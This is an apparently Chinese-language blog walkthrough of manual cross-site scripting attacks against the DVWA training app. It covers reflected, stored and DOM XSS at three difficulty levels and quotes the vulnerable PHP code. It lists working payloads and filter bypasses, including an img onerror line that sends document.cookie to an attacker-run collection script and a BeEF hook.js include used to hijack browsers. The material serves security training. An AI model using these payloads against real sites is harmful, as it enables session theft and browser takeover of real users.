跨站脚本攻击之xss手动版

目录描述

定义

Cross-site scripting (XSS):跨站脚本是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

类型

存储型(持久型)
跨站脚本可注入服务器的文件系统或数据库–引诱用户访问相关链接(貌似被用户信任的网站)–被攻击用户访问相关页面(采用特定URL参数)时,恶意代码下载到浏览器并执行。
反射型(非持久型)
跨站脚本包含在向网站提交内容的相关字段中–该字段将被服务器在返回页面中包含,相关字段中的跨站脚本将在浏览器端执行。–被攻击用户访问被精心设计的链接(貌似被用户信任的网站,参数被精心设计),服务器返回页面后相关恶意代码被执行。
DOM型
在客户端运行的JavaScript,会调用DOM(document object model文档对象模型)的内容–可将跨站脚本隐藏在DOM对象中,可让JS读到参数,却不传入服务端程序(如location.hash获取地址栏中’#’以后的部分)–被攻击用户访问被精心设计的链接,服务器返回页面后,执行JavaScript,调用被嵌入跨站脚本的DOM对象,相关恶意代码被执行

常用标签与js方法

标签

<iframe>
#iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。

<textarea>
#标签定义多行的文本输入控件。
文本区中可容纳无限数量的文本,其中的文本的默认字体是等宽字体(通常是 Courier)。
可以通过 cols 和 rows 属性来规定 textarea 的尺寸

<img>
#嵌入一幅图片

<script>  
#用于定义客户端脚本,比如javascipt。
script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。
必需的 type 属性规定脚本的 MIME 类型。
JavaScript 的常见应用时图像操作、表单验证以及动态内容更新。

js方法

alert
#用于显示带有一条指定消息和一个 OK 按钮的警告框。
语法
alert(message)

window.location
#用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。
window.location 对象在编写时可不使用 window 这个前缀。例如:
location.hostname 返回 web 主机的域名
location.pathname 返回当前页面的路径和文件名
location.port 返回 web 主机的端口 (80 或 443)
location.protocol 返回所使用的 web 协议(http: 或 https:)
location.href 返回当前页面的 URL
location.pathname 属性返回 URL 的路径名

onload
#onload 通常用于 <body> 元素,在页面完全载入后(包括图片、css文件等等。)执行脚本代码

onsubmit
#onsubmit 事件会在表单中的确认按钮被点击时发生

onerror
#当视频的媒体数据加载期间发生错误时执行

常见xss脚本

弹窗

<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script>alert('xss')</script>

跨站脚本攻击之xss手动版

页面嵌套

<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

跨站脚本攻击之xss手动版
页面重定向

<script>window.location="http://www.baidu.com"</script>

弹框警告并重定向(先弹窗再跳转)

<script>alert(1);window.location="http://www.baidu.com"</script>

访问恶意代码(结合BeEF)

<script src="http://192.168.72.145:3000/hook.js"></script>

跨站脚本攻击之xss手动版

low级别

DOM与反射性都是修改url,存储型在信息中放入xss脚本

reflected

源代码

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

测试是否有xss漏洞

<scrpit>alert(1)</script>

产生弹窗
跨站脚本攻击之xss手动版
获得cookie

<script>alert(document.cookie)</script>

DOM

<?php
# No protections, anything goes
?>

在url中添加js脚本

http://10.12.202.19/dvwa/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

跨站脚本攻击之xss手动版

stored

在信息中插入xss脚本
跨站脚本攻击之xss手动版

medium级别

reflected

查看反射型的源代码,可以看出将<script>替换成""

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

绕过方法

1)大小写绕过
<script>HTML标签,而HTML不区分大小写

<Script src="http://192.168.72.145:3000/hook.js"></Script>

2)双写组合过滤条件绕过

<scr<script>ipt>alert('sss')</script>

3)使用URL编码,规避”广谱“型script搜索

<img src="1" one rror="new Image().src= 'http://192.168.232.132/ge&#116_cookie.php?cookie=' + encodeURI(documen&#116.cookie);"></img>    
#把所有的’t’编码,但是可能在涉及数据库存储型XSS中不一定奏效

3)其他标签

<iframe src=http://www.baidu.com width=300 height=300></iframe>

<body onl oad=alert('xss')>

<a href='' onclick=alert('xss')>click</a>

</option></select><img src='' one rror=alert(1)>

DOM

直接过滤掉了<script>标签,用其他标签

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];   
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

首先尝试<iframe src=http://www.baidu.com width=0 height=0 border=0>
发现语句嵌入到<select name="default">下的<option>
跨站脚本攻击之xss手动版
尝试闭合

</option></select><iframe src=http://www.baidu.com width=0 height=0 border=0>

跨站脚本攻击之xss手动版

可以看到代码插入到了页面中,但是没有弹窗,使用其他语句尝试
获取cookie

</option></select><svg/onload=alert(document.cookie)>

</option></select><img src='' one rror=alert(document.cookie)>

stored

源代码如下:

 <?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );
    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    //mysql_close();
}
?>

查看源代码,发现有如下函数

strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符包括单引号(')双引号(")反斜杠(\)NULL

htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素

massage参数中有htmlspecialcharsstrip_tags,无法注入,而name只进行了<script>的过滤,因此进行name参数的注入
绕过方法同reflacted

high级别

reflacted

源代码


<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

此关对<script>进行了严苛的过滤,但其他标签仍然能够使用,如:

<iframe src=http://www.baidu.com width=300 height=300></iframe>

<body onl oad=alert('xss')>

<a href='' onclick=alert('xss')>click</a>

</option></select><img src='' one rror=alert(1)>

DOM

源代码如下:

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
?>

该题使用分支选择语句,要求只能在给定的分支选择,如果与给定的不匹配,就执行默认值
本题利用#来绕过,在url中#后边的内容不会发送到服务端,从而可以实现绕过。

#<script>alert(1)</script>

#<script>alert(document.cookie)</script>

#<script src="http://192.168.72.145:3000/hook.js"></script>

跨站脚本攻击之xss手动版

stored

<?php

if(isset($_POST['btnSign']))
{
   $message = trim($_POST['mtxMessage']);
   $name    = trim($_POST['txtName']);
   // Sanitize message input
   $message = stripslashes($message);
   $message = mysql_real_escape_string($message); 
   // Sanitize name input
   $name = mysql_real_escape_string($name);  
   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";   
   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );   
}
?>

name只严格过滤了<script>,其他标签仍然可以注入
方法参照反射型

high级别下访问beef

新建一个htm文件,内容如下:

<html>
	<script src="http://192.168.72.145:3000/hook.js"></script>
</html>

接着将该文件放入本地网站根目录下,使用如下xss脚本

<iframe src=http://192.168.72.1/1.htm width=300 height=300></iframe>

即可挂马
跨站脚本攻击之xss手动版

上一篇:生成字符画


下一篇:spring boot单元测试之十六:junit5:用@Timeout注解判断测试运行是否超时(spring boot 2.4.4)